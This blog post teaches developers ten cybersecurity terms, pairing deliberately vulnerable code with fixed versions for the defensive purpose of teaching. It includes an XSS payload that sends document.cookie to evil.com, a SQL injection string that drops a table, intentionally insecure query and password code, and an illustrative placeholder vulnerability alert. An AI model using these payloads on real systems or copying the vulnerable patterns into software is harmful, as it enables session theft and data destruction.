Discover 10 essential cybersecurity terms every developer should know to protect their applications and data from online threats.

As developers, we spend our days writing code, squashing bugs, and shipping features. But security? We often think about it too late, when the damage is already done. Yet understanding cybersecurity basics isn't reserved for security experts — it's an essential skill for any dev pushing code to production.
Here are 10 terms you'll inevitably encounter in your career, explained simply with concrete code examples.
Written for developers
Each term is illustrated with concrete code examples. The goal isn't to turn you into a security expert, but to give you the right reflexes to write safer code every day.
A vulnerability is a weakness in your code or infrastructure that can be exploited by an attacker. It's the door you forgot to lock. It could be an unvalidated input, an outdated dependency, or a misconfigured server.
Concrete example
An API endpoint that accepts any input without validation is a vulnerability. An attacker could send malicious data to compromise your system.
// Vulnerable: no validation
app.post("/api/user", (req, res) => {
db.query(`INSERT INTO users (name) VALUES ('${req.body.name}')`);
});
// Secure: validation with Zod
import { z } from "zod";
const userSchema = z.object({
name: z.string().min(1).max(100).regex(/^[a-zA-ZÀ-ÿ\s-]+$/),
});
app.post("/api/user", (req, res) => {
const result = userSchema.safeParse(req.body);
if (!result.success) return res.status(400).json({ error: "Invalid input" });
db.query("INSERT INTO users (name) VALUES ($1)", [result.data.name]);
});A threat is anything that can exploit a vulnerability: a human attacker, an automated bot, malware, or even a malicious insider. The distinction matters: the vulnerability is the weakness, the threat is what exploits it.
Without a vulnerability, a threat can't do anything. Without a threat, a vulnerability remains theoretical. Together, they create real risk.
Threat vs Vulnerability
Think of your house: the open window is the vulnerability, the burglar is the threat. Close the window (fix the vulnerability) and the threat becomes harmless.
The attack surface is the set of all entry points an attacker could use to compromise your application. The larger your surface, the more exposed you are. Every public API, every form, every open port increases your attack surface.
$ nmap -sV my-server.com
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9
80/tcp open http nginx 1.18
443/tcp open https nginx 1.18
3306/tcp open mysql MySQL 8.0
8080/tcp open http Node.js Express
Alert
In this example, the MySQL port (3306) is publicly exposed. In production, your database should never be accessible from the internet. That's one extra entry point in your attack surface.
Authentication is verifying who you are. It's the login: you prove your identity with a password, an OAuth token, an SSH key, or a 2FA code. It's the first security barrier of your application.
// Bad: storing the password in plaintext
async function login(email: string, password: string) {
const user = await db.findUser(email);
if (user.password === password) return generateToken(user);
// ^^^ Plaintext comparison = danger
}
// Good: use bcrypt to hash and compare
import bcrypt from "bcrypt";
async function register(email: string, password: string) {
const hash = await bcrypt.hash(password, 12);
await db.createUser({ email, password: hash });
}
async function login(email: string, password: string) {
const user = await db.findUser(email);
const match = await bcrypt.compare(password, user.password);
if (match) return generateToken(user);
}Authorization comes after authentication. You know who the user is, now you check what they're allowed to do. An authenticated user shouldn't be able to access another user's data or admin functions.
// Role verification middleware
function requireRole(...roles: string[]) {
return (req: Request, res: Response, next: NextFunction) => {
if (!req.user) {
return res.status(401).json({ error: "Not authenticated" });
}
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: "Access denied" });
}
next();
};
}
// Usage
app.delete("/api/users/:id", requireRole("admin"), deleteUser);
app.get("/api/profile", requireRole("admin", "user"), getProfile);Authentication ≠ Authorization
Authentication = "You are indeed Raphael". Authorization = "Raphael is allowed to delete this user". These are two distinct steps and both are essential.
Encryption makes data unreadable to anyone who doesn't have the decryption key. There are two main types: symmetric encryption (one key to encrypt and decrypt) and asymmetric encryption (a public key to encrypt, a private key to decrypt).
import crypto from "node:crypto";
// AES-256 encryption (symmetric)
const ALGORITHM = "aes-256-gcm";
const SECRET_KEY = crypto.randomBytes(32);
function encrypt(text: string) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(ALGORITHM, SECRET_KEY, iv);
const encrypted = Buffer.concat([cipher.update(text, "utf8"), cipher.final()]);
const tag = cipher.getAuthTag();
return { encrypted, iv, tag };
}
function decrypt({ encrypted, iv, tag }: ReturnType<typeof encrypt>) {
const decipher = crypto.createDecipheriv(ALGORITHM, SECRET_KEY, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(encrypted), decipher.final()]).toString("utf8");
}Integrity ensures that data hasn't been tampered with between point A and point B. It's the principle behind file checksums, JWT signatures, and Git commit hashes.
import crypto from "node:crypto";
// Verify the integrity of a downloaded file
function verifyChecksum(filePath: string, expectedHash: string) {
const fileBuffer = fs.readFileSync(filePath);
const hash = crypto.createHash("sha256").update(fileBuffer).digest("hex");
if (hash !== expectedHash) {
throw new Error("The file has been modified or corrupted!");
}
return true;
}
// Usage example
verifyChecksum("./package.tar.gz", "a1b2c3d4e5f6...");You already use integrity without knowing it
Every time you run git commit, Git computes a SHA-1 hash of your changes. The package-lock.json file contains
checksums for every dependency. Integrity is everywhere.
An injection happens when an attacker sends malicious code through an input field, and your application executes it instead of treating it as plain data. It's one of the most common and dangerous vulnerabilities (OWASP top 3).
-- What the attacker enters in the "name" field:
-- Robert'; DROP TABLE users; --
-- Your vulnerable query becomes:
SELECT * FROM users WHERE name = 'Robert'; DROP TABLE users; --'
-- Boom: your users table just got deleted// Vulnerable: string concatenation
const user = await db.query(
`SELECT * FROM users WHERE id = '${req.params.id}'`
);
// Secure: parameterized query
const user = await db.query(
"SELECT * FROM users WHERE id = $1",
[req.params.id]
);ORMs don't protect against everything
Using an ORM like Prisma or Drizzle greatly reduces the risks, but beware of raw or $queryRaw methods that
accept raw SQL. Every time you write SQL by hand, use parameterized queries.
XSS allows an attacker to inject malicious JavaScript into a web page viewed by other users. The script runs in the victim's browser and can steal cookies, session tokens, or redirect to a fraudulent site.
// Vulnerable: innerHTML with user content
const comment = getUserComment(); // "<script>document.location='https://evil.com?c='+document.cookie</script>"
element.innerHTML = comment; // The script executes!
// Secure: use textContent
element.textContent = comment; // Displayed as plain text
// Or sanitize the HTML if you need it
import DOMPurify from "dompurify";
element.innerHTML = DOMPurify.sanitize(comment);React protects you by default
React automatically escapes JSX content, which blocks most XSS attacks. But beware: dangerouslySetInnerHTML
bypasses this protection (hence the name). Never use it with unsanitized user content.
A zero-day is a vulnerability unknown to the vendor or community, with no patch available yet. The name comes from the fact that developers have had "zero days" to fix it before it gets exploited. It's every developer's nightmare.
$ npm audit
found 1 critical severity vulnerability
Critical: Remote Code Execution in lodash
CVE-2025-XXXXX (zero-day)
No patch available
Affected versions: <= 4.17.21
Keep your dependencies up to date
You can't prevent zero-days, but you can reduce your exposure. Run npm audit regularly, set up Dependabot or
Renovate on your repos, and update your dependencies as soon as a patch is available. The longer you wait, the more
exposed you are.
Security isn't a feature you bolt on at the end — it's a reflex you build from the very first line of code. You don't need to master everything at once: start by applying these basics, and you'll already be ahead of most developers when it comes to security.
Happy coding, and above all, safe coding.
Raphaël Raclot is a French full stack developer passionate about cybersecurity and modern web technologies. He specializes in React, Next.js, and TypeScript, and shares his discoveries, projects, and insights here.
Learn more about Raphaël